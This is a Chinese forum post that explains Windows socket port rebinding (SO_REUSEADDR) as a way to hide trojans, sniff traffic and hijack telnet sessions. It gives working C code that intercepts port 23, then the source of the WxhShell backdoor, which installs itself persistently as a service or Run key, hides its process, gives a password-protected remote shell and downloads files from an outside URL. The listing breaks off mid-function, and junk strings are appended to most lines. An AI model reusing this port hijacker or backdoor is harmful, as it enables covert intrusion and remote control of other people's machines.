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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b:B [3|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U1^l+G^,~  
k&DGJ5m$.  
  saddr.sin_family = AF_INET; !`C?nY  
eti9nPjG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iB{xvyR  
mmN|F$;r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $HRed|*.C  
)q(:eoLDm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MuSaK %  
z_(eQP])  
  这意味着什么?意味着可以进行如下的攻击: jT"r$""1d  
@DCJ}h ud  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QeK{MF  
a2 >[0_E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2 zl~>3S  
1#!@["  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  oWrE2U;  
83?1<v0%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X<K9L7/*  
Sf5]=F-w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Hd*Fc=>"Y  
5byeWH0n3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }@*I+\W/  
pU DO7Q]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r9 ;`  
|J?:91  
  #include C*j9Iaj  
  #include u[mY!(>nQ  
  #include U 1F-~ {r  
  #include    7%opzdS#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #[,= 1Od(q  
  int main() V(I7*_ZFl  
  { @$ftG  
  WORD wVersionRequested; /yt7#!tm+  
  DWORD ret; {tmKCG  
  WSADATA wsaData; d"!yD/RD  
  BOOL val; l qXc  
  SOCKADDR_IN saddr; Ge~,[If+  
  SOCKADDR_IN scaddr; |Pf(J;'[  
  int err; D@5s8xv  
  SOCKET s; M4H"].Zm  
  SOCKET sc; i?W]*V~ply  
  int caddsize; .S6ji~;r  
  HANDLE mt; CjmV+%b4  
  DWORD tid;   9RB`$5F ;  
  wVersionRequested = MAKEWORD( 2, 2 ); '2wCP EC  
  err = WSAStartup( wVersionRequested, &wsaData ); -4%]QS  
  if ( err != 0 ) { <4sj@C  
  printf("error!WSAStartup failed!\n"); n`QO(pZ6+  
  return -1; $"1pws?d  
  } `;}H%  
  saddr.sin_family = AF_INET; Rj&qh`  
   'oCm.~;_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2b!j.T#u  
*k!(ti[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9 c6'  
  saddr.sin_port = htons(23); RCCv>o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qTS @D  
  { T(&kXMaB  
  printf("error!socket failed!\n"); BP:(IP!&  
  return -1; CX.SYr&!R  
  } SLg+H  
  val = TRUE; Q-jf8A]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hLSTSD}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G#'Q~N  
  { drs-mt8  
  printf("error!setsockopt failed!\n"); Vl4Z_viNH  
  return -1; ?^Pq/VtZ  
  } $(XgKq&xWZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; db^aL8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {GK(fBE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yT&x`3f"i  
n{L:MT9TD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lD-V9   
  {  2aFT<T0  
  ret=GetLastError(); [jy0@Q9  
  printf("error!bind failed!\n"); ">4PePt.n  
  return -1; TZj[O1E  
  } ]L$4P y  
  listen(s,2); Hw y5G ;  
  while(1) z'T=]- D  
  { RrKfTiK H  
  caddsize = sizeof(scaddr); Y+5"uq<'  
  //接受连接请求 HLM;EZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %N>\:8 5?  
  if(sc!=INVALID_SOCKET) qP&byEs"  
  { &ad Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ny.*G@&  
  if(mt==NULL) C`3V=BB  
  { LSSW.Oz2L  
  printf("Thread Creat Failed!\n"); %V31B\]Nz7  
  break; r?>Vx -  
  } {s,^b|I2#U  
  } eN2dy-0  
  CloseHandle(mt); G l_\Vy  
  } oPCrD.s  
  closesocket(s); FOeVRq:#  
  WSACleanup(); "Wo.8  
  return 0;  oHOW5  
  }   Q!YF!WoBX  
  DWORD WINAPI ClientThread(LPVOID lpParam) IF5sqv  
  { '/ihL ^^@L  
  SOCKET ss = (SOCKET)lpParam; 7Pwg+|  
  SOCKET sc; qw|JJ  
  unsigned char buf[4096]; o>@=N2n  
  SOCKADDR_IN saddr; sZ]'DH&_(  
  long num; _2]O^$L  
  DWORD val; ;CA ?eI  
  DWORD ret; #FEa 5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UOw~rK   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ir!2^:]!  
  saddr.sin_family = AF_INET; ZH_FA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <nj IXa{  
  saddr.sin_port = htons(23); `0Yt1Z&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -xw 98  
  { y!SF/i?Py  
  printf("error!socket failed!\n"); r@olC7&  
  return -1; 6`_!?u7  
  } u\M4`p!g=  
  val = 100; kNRyOUy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'G<}U343=8  
  { >~h>#{&  
  ret = GetLastError(); 'BqrJfv  
  return -1; 5.O-(eSa0&  
  } l8er$8S}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8oa)qaG1  
  { ZyHIMo|  
  ret = GetLastError(); /.7$`d  
  return -1; Yr5iZ~V$  
  } _t$lcOT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $< A8gTJ  
  { XI]OA7Zis  
  printf("error!socket connect failed!\n"); hN& yc  
  closesocket(sc); 03~+-h& n  
  closesocket(ss); ^uC"dfH  
  return -1; CKx\V+\O  
  } 4Y`! bT`  
  while(1) EfFj!)fz  
  { F#jCEq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A * a{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jz=;mrW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =*{ K@p_  
  num = recv(ss,buf,4096,0); w}IL 8L(D  
  if(num>0) 4Sg<r,G  
  send(sc,buf,num,0); \H,V 9!B  
  else if(num==0) +]A+!8%Z  
  break; iPA@<D%  
  num = recv(sc,buf,4096,0); K%ptRj$  
  if(num>0) ]d~2WX Y  
  send(ss,buf,num,0); #%g>^i={ky  
  else if(num==0) ?$#P =VK  
  break; UM<!bNz`  
  } 8j)*T9  
  closesocket(ss); H[RX~Xk2E  
  closesocket(sc); 8a3 EVc  
  return 0 ; C6'K)P[p  
  } e'MW"uCP}  
K3k{q90   
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========================================================== Lp) P7Yt-  
s:3b.*t<  
下边附上一个代码,,WXhSHELL !Ahxi);a  
NfWL3"&X  
========================================================== bTt1yO  
F*T$n"^  
#include "stdafx.h" K /$-H#;N  
<$u\PJF7_^  
#include <stdio.h> !/e*v>3u&  
#include <string.h> wC?$P  
#include <windows.h> /gn!="J  
#include <winsock2.h> nS](d2  
#include <winsvc.h> i5aY{3!  
#include <urlmon.h> zpjE_|  
]$=#:uf  
#pragma comment (lib, "Ws2_32.lib") (K_{a+$[  
#pragma comment (lib, "urlmon.lib") 4]#$YehM5  
7,zE?KG /  
#define MAX_USER   100 // 最大客户端连接数 wYr*('uT  
#define BUF_SOCK   200 // sock buffer 5^K\<+{~B  
#define KEY_BUFF   255 // 输入 buffer {&J~P&,k  
e%EO/ 2"  
#define REBOOT     0   // 重启 @nAl*#M*D  
#define SHUTDOWN   1   // 关机 c:[ ZknnCe  
S_TD o  
#define DEF_PORT   5000 // 监听端口 m(D+!I9  
Y]tbwOle  
#define REG_LEN     16   // 注册表键长度 1|m%xX,[  
#define SVC_LEN     80   // NT服务名长度 RO@=&3s  
hd]ts.  
// 从dll定义API /+1(,S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p|?FA@ 3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0Py*%}r1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w+wtr[;wwL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d<6m_! L  
CXi[$nF3  
// wxhshell配置信息 bjo} 95  
struct WSCFG { 9s1^hW2%Q  
  int ws_port;         // 监听端口 TbaZFLr  
  char ws_passstr[REG_LEN]; // 口令 [r!f&R  
  int ws_autoins;       // 安装标记, 1=yes 0=no ia(`3r  
  char ws_regname[REG_LEN]; // 注册表键名 :a^/&LbLm  
  char ws_svcname[REG_LEN]; // 服务名 q}!h(-y}5n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f> bL }L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A'.=SA2.Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H~^)^6)^T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '/)qI.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e^'|<0J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i\O^s ]  
)*`h)`\y  
}; x[0O*ty-*<  
S+#|j  
// default Wxhshell configuration |#sOa  
struct WSCFG wscfg={DEF_PORT, AVm+ 1  
    "xuhuanlingzhe", YN+vk}8 <  
    1, a{@}vZx>3  
    "Wxhshell", |B^Mj57DO  
    "Wxhshell", JHXkQz[Jb  
            "WxhShell Service", L ^r & .N\  
    "Wrsky Windows CmdShell Service", ;s;3cC!  
    "Please Input Your Password: ", xW]65iav  
  1, a9UXg< 4  
  "http://www.wrsky.com/wxhshell.exe", kIX1u<M~  
  "Wxhshell.exe" s<rV1D  
    }; l*6Zh "o:  
#wo *2 (  
// 消息定义模块 \h_q]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [h8s0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %~y>9K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sg4{IU  
char *msg_ws_ext="\n\rExit."; |-)8=QDz)r  
char *msg_ws_end="\n\rQuit."; =~k c7f{  
char *msg_ws_boot="\n\rReboot..."; 9?8PMh.  
char *msg_ws_poff="\n\rShutdown..."; U`lK'..  
char *msg_ws_down="\n\rSave to "; tU5uL.( O  
~USt&?  
char *msg_ws_err="\n\rErr!"; 1Qu@pb^  
char *msg_ws_ok="\n\rOK!"; |JP19KFx'B  
9Msy=qvYG  
char ExeFile[MAX_PATH]; z~ywFk}KGd  
int nUser = 0; <N1wET-  
HANDLE handles[MAX_USER]; B]@25  
int OsIsNt; FJ-H ;  
L,[Q{:CS  
SERVICE_STATUS       serviceStatus; ]8}51y8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +[<YE  
AYgXqmH~+  
// 函数声明 a&V;^ /  
int Install(void); DU0/if9.  
int Uninstall(void); fGO\f;P  
int DownloadFile(char *sURL, SOCKET wsh); ^lAM /  
int Boot(int flag); 4(|yl^w  
void HideProc(void); nYFrp)DLK  
int GetOsVer(void); 3+15 yEeA  
int Wxhshell(SOCKET wsl); ! 5NuFLOf  
void TalkWithClient(void *cs); >mai v;  
int CmdShell(SOCKET sock); :n QlS  
int StartFromService(void); ]"lB!O~  
int StartWxhshell(LPSTR lpCmdLine); h%krA<G9  
w4vV#C4X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rd&DH_<+^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ATl?./Tu  
_$ivN!k  
// 数据结构和表定义 xH xTL>,?  
SERVICE_TABLE_ENTRY DispatchTable[] = TI8r/P? ]V  
{ 'gvR?[!t  
{wscfg.ws_svcname, NTServiceMain}, mL=d E Q  
{NULL, NULL} ocFk#FW  
}; % /"n(?$ W  
Aeb(b+=  
// 自我安装 1[^YK6a/  
int Install(void) #3QPcoxa  
{ u0c}[BAF  
  char svExeFile[MAX_PATH]; iN[x *A|h  
  HKEY key; ?%h$deJ  
  strcpy(svExeFile,ExeFile); 68Gywk3]=u  
_ i}W1i  
// 如果是win9x系统,修改注册表设为自启动 ;~EQS.Qp  
if(!OsIsNt) { d51'[?(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EU%,tp   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1|(Q|  
  RegCloseKey(key); y=Kqv^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t/\   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I70c,4_G  
  RegCloseKey(key); 6e%@uB}$  
  return 0; 8o$rF7.-  
    } eHuJFM  
  } ,^1zG  
} mK[Z#obc=  
else { y %Q. (  
+ cfEyiub  
// 如果是NT以上系统,安装为系统服务 z* EV>Y[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y:W6;R  
if (schSCManager!=0) d_,5;M^k  
{ ];OvV ,*  
  SC_HANDLE schService = CreateService #*'Qm  A  
  ( Dz(\ ?  
  schSCManager, S^eem_C  
  wscfg.ws_svcname, 5e /YEDP  
  wscfg.ws_svcdisp, x,!Dd  
  SERVICE_ALL_ACCESS, .9r YBy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sD:o 2(G*  
  SERVICE_AUTO_START, U X@%1W!8  
  SERVICE_ERROR_NORMAL, Lwr's'ao.  
  svExeFile, ^_;'9YD  
  NULL, wqb4w7%  
  NULL, ^$K&Met  
  NULL, Yv5H41o"  
  NULL, STp9Gh-  
  NULL L~Gr,i  
  ); #h5lz%2g  
  if (schService!=0) `RL Wr,h  
  { uiVN z8H  
  CloseServiceHandle(schService); L"qJZU  
  CloseServiceHandle(schSCManager); dU$VRgP/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;:P4~R  
  strcat(svExeFile,wscfg.ws_svcname); 2'DCB{Jv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )l7XZ_gw'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;=Ma+d#  
  RegCloseKey(key); *an Ng<@  
  return 0; >fH0>W+!  
    } Vr1}Zv3K'  
  } *siX:?l  
  CloseServiceHandle(schSCManager); ~U0%}Bbh  
} |O{N_-];.  
} &-3 e3)  
eDJnzh83  
return 1; X 0G,tl  
} "mK`3</G  
&h-_|N  
// 自我卸载 MJ|tfQwhx  
int Uninstall(void) c*;oR$VW  
{ C!j3@EZ$  
  HKEY key; "do5@$p|  
3iCe5VF  
if(!OsIsNt) { 7q ?ZieR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rwRZGd *p  
  RegDeleteValue(key,wscfg.ws_regname); U.e!:f4{  
  RegCloseKey(key); CS7b3p!I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CO wcus  
  RegDeleteValue(key,wscfg.ws_regname); VeGSr  
  RegCloseKey(key); (?jK|_  
  return 0; ';tlV u  
  } n<.7tr0f\  
} aZN?V}^+  
} FDMQ Lxf  
else { 79T_9}M  
Uwc%'=@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X:GRjoa  
if (schSCManager!=0) &C9IR,&  
{ EYT^*1,E*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;6G]~}>o  
  if (schService!=0) O[ma% E*0  
  { v$y\X3)mB  
  if(DeleteService(schService)!=0) { T}&A-V$  
  CloseServiceHandle(schService); ?Mjs[|  
  CloseServiceHandle(schSCManager); /5NWV#-  
  return 0; 'Z{`P0/^o`  
  } kL'4m  
  CloseServiceHandle(schService); ~H}Z;n]H  
  } T lXS}5^  
  CloseServiceHandle(schSCManager); C4mkt2Eb0a  
} gP% <<yl  
} 3:,%># "  
!>sA.L&=  
return 1; ~7: q+\  
} `<YMkp[  
QVT0.GzR  
// 从指定url下载文件 G\sx'#Whc  
int DownloadFile(char *sURL, SOCKET wsh) w <r*&  
{ uw+nll*W%  
  HRESULT hr; >z<L60S  
char seps[]= "/"; q,P.)\0A  
char *token; G_F_TNO  
char *file; *~PB  
char myURL[MAX_PATH]; iC#a+G*N_M  
char myFILE[MAX_PATH]; -wn-PB@r  
bpY*;o$~  
strcpy(myURL,sURL); PaTOlHr  
  token=strtok(myURL,seps); -'&l!23a~  
  while(token!=NULL) XJ7B?Z g  
  { 7P$*qj~Vh  
    file=token; $_<[kci %  
  token=strtok(NULL,seps); .x=abA$!9  
  } &lzY"Y*hA0  
[G_ ;78  
GetCurrentDirectory(MAX_PATH,myFILE); !X}+JeU '  
strcat(myFILE, "\\"); MT{1/A;`)  
strcat(myFILE, file); *).  
  send(wsh,myFILE,strlen(myFILE),0); 1I2n dt  
send(wsh,"...",3,0); C6e5*S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hC$e8t60  
  if(hr==S_OK) Es[3Ppz  
return 0; lMgguu~qg  
else AF:_&gF  
return 1; L'wR$  
=c6d $  
} ^tTM 7  
}9ulHiR  
// 系统电源模块 rCo}^M4Pb  
int Boot(int flag) b'O/u."O  
{ [r2V+b.C  
  HANDLE hToken; >l0Qd1   
  TOKEN_PRIVILEGES tkp; =d;a1AO{&  
{L$$"r,  
  if(OsIsNt) { M(> 74(}]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zw3I(_d[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )a^&7  
    tkp.PrivilegeCount = 1; 2m$C;j!D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OdNo2SO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y$OE[nGi%X  
if(flag==REBOOT) { M&iXdw&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T>'w]wi  
  return 0; <SE-:T]sBz  
} R(}<W$(TV  
else { T$kuv`?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FO>?>tK 0  
  return 0; UR^r>  
} Yv1yRoDv  
  } 2z;nPup,  
  else { pauO_'j_1p  
if(flag==REBOOT) { zeGWM,!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1 Ne;U/  
  return 0; xjp0w7L)J  
} IfH/~EtX  
else { W2<'b05  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'z9 1aNG]  
  return 0; O=K0KOj  
} \>\ERVEd  
} z&9ljQ iF  
s58dHnj5+  
return 1; ,tXI*R  
} -medD G  
$\m:}\%p  
// win9x进程隐藏模块 h8WM4 PK  
void HideProc(void) X!V#:2JY  
{ GYtgw9 "Y  
)-I/ej^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]R~hzo  
  if ( hKernel != NULL ) {JdXn  
  { +/_XSo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iklZ[G%A0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l>|scs;TI  
    FreeLibrary(hKernel); ~;b}_?%o  
  } 9<&*iIrM  
kh}h(z^  
return; fbM>jK  
} n:a~=^IV  
MHp:".1  
// 获取操作系统版本 A pzC  
int GetOsVer(void) _rSwQ<38>  
{ WXo bh  
  OSVERSIONINFO winfo; 8i^ ./P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 44 8%yP  
  GetVersionEx(&winfo); \hBzQ%0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y.( <  
  return 1; jcC"vr'u|  
  else uNEl]Q]<e]  
  return 0; Y{~`g(~9_A  
} mCn:{G8+  
Z6b]EcP)#  
// 客户端句柄模块 NVQ.;"2w  
int Wxhshell(SOCKET wsl) $J<WFDn9  
{ #t2N=3dOj  
  SOCKET wsh; oumbJ7X=L  
  struct sockaddr_in client; h}tC +_"D  
  DWORD myID; w3VgGc~  
UFZOu%Y  
  while(nUser<MAX_USER) >tkz%;6  
{ P( -   
  int nSize=sizeof(client); *" OlO}o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o/&K>]8M  
  if(wsh==INVALID_SOCKET) return 1; "3++S  
oP T)vN?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v2r|) c,h  
if(handles[nUser]==0) "Uf1;;b  
  closesocket(wsh); ePq(.o  
else Z{t `f[  
  nUser++; O46v  
  } LRaO}-<b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d"E3ypPK  
,o0Kevz  
  return 0; B[h^]k  
} 1=T;68B  
2( I4h[  
// 关闭 socket $y.0h(  
void CloseIt(SOCKET wsh) #=0 BjW*  
{ Wt@hST  
closesocket(wsh); "1XTgCu\  
nUser--; 1R yE8DdP  
ExitThread(0); k;JDVRL  
} eU`O=uE   
m<k6oev$  
// 客户端请求句柄 &PApO{#Q  
void TalkWithClient(void *cs) Tb;,t=;u  
{ 1M_Vhs^  
liy/uZ  
  SOCKET wsh=(SOCKET)cs; .v}|Tp&k  
  char pwd[SVC_LEN]; {jwLVKT$  
  char cmd[KEY_BUFF]; x)N QRd  
char chr[1]; VR1[-OE  
int i,j; ? F!c"+C  
&w`DF,k|  
  while (nUser < MAX_USER) { Q {~$7J  
$B<:SuV#  
if(wscfg.ws_passstr) { m]}U!XT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =vQ J2Rg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lIx./Nf  
  //ZeroMemory(pwd,KEY_BUFF); KXl!VD,#`=  
      i=0; TF!v,cX  
  while(i<SVC_LEN) { p_]b=3wt~  
-F*vN'  
  // 设置超时 5D<ZtsXE  
  fd_set FdRead; [MKG5=kaE  
  struct timeval TimeOut; Qm*ZOz'i  
  FD_ZERO(&FdRead); ? * ,  
  FD_SET(wsh,&FdRead); E y9rH_  
  TimeOut.tv_sec=8; $%M]2_W(  
  TimeOut.tv_usec=0; |v : )9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dKD:mU",M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %,<Ki]F  
."O%pL]!/b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SsZSR.tD  
  pwd=chr[0]; z$~F9Es9  
  if(chr[0]==0xd || chr[0]==0xa) { I S'Uuuz7g  
  pwd=0; f)a0!U 44  
  break; <Uj9~yVN]  
  } Ya!%o> J%t  
  i++; YAeF*vP  
    } Y6)o7t  
Uey'c1  
  // 如果是非法用户,关闭 socket v2:i'j6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ITn PF{N  
} ~LOE^6C+~o  
#,6T.O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ar,n=obG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pWv1XTs@t:  
[Y@>,B!V  
while(1) { k 9z9{  
`=,emP&(H&  
  ZeroMemory(cmd,KEY_BUFF); wD{c$TJ?{F  
Xxd]j]  
      // 自动支持客户端 telnet标准   >zL5*:G  
  j=0; ,5ZQPICF  
  while(j<KEY_BUFF) { -<5{wQE;|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K5XW&|tY!  
  cmd[j]=chr[0]; NsM`kZM4H  
  if(chr[0]==0xa || chr[0]==0xd) { NT5'U  
  cmd[j]=0; 7[u>#8  
  break; dY~z6bT  
  } DC-d@N+  
  j++; VHl1f7%@H  
    } E0&d*BI2  
w( XZSE  
  // 下载文件 s<k2vbhI  
  if(strstr(cmd,"http://")) { 650qG$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,R<9yEWm  
  if(DownloadFile(cmd,wsh)) ykPiZK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;`:YZ+2 Z  
  else \#I$H9O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Px \cT  
  } 0*rD'?)K+  
  else { (?zD!% k  
ZcyGLg0I  
    switch(cmd[0]) { :Ez, GAk  
  |3@DCb T  
  // 帮助 xSK#ovH2  
  case '?': { %%uE^nX>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \P?X`]NwnO  
    break; TSsZzsdr2  
  } eJHh}  
  // 安装 {o)pwM"@(  
  case 'i': { !+^'Ej)z  
    if(Install()) 9iZio3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)!QsBU  
    else ~:bdS 4w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4.jRTL5-oj  
    break; ~!r;?38V`  
    } =ZIT!B?4  
  // 卸载 &o;0%QgF  
  case 'r': { Q]xkDr?   
    if(Uninstall()) jBw)8~tYm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/i$_vl  
    else $?0ch15/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IFX$\+-  
    break; !EB<N<P"t  
    } DdgiY9a.  
  // 显示 wxhshell 所在路径 5h#h>0F  
  case 'p': { ZLv/otf:|"  
    char svExeFile[MAX_PATH]; Z,38eQpM  
    strcpy(svExeFile,"\n\r"); :BF? r  
      strcat(svExeFile,ExeFile); %7)=k}4  
        send(wsh,svExeFile,strlen(svExeFile),0); @ivd|*?k0  
    break; !rM~   
    } zzQWHg]/  
  // 重启 PX 8UVA  
  case 'b': { 5XZ! yYB?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XWp8[Cx s  
    if(Boot(REBOOT)) S }`sp[6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^hC'\09=c  
    else { neDXzMxF  
    closesocket(wsh); e{P v:jl  
    ExitThread(0); yJm"vN  
    } C|$q Vh>  
    break; !.] JiT'o  
    } jV3PTU  
  // 关机 3yZmW$E.  
  case 'd': { g\JJkXjD#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^"/^)Lb!@M  
    if(Boot(SHUTDOWN)) K T}  
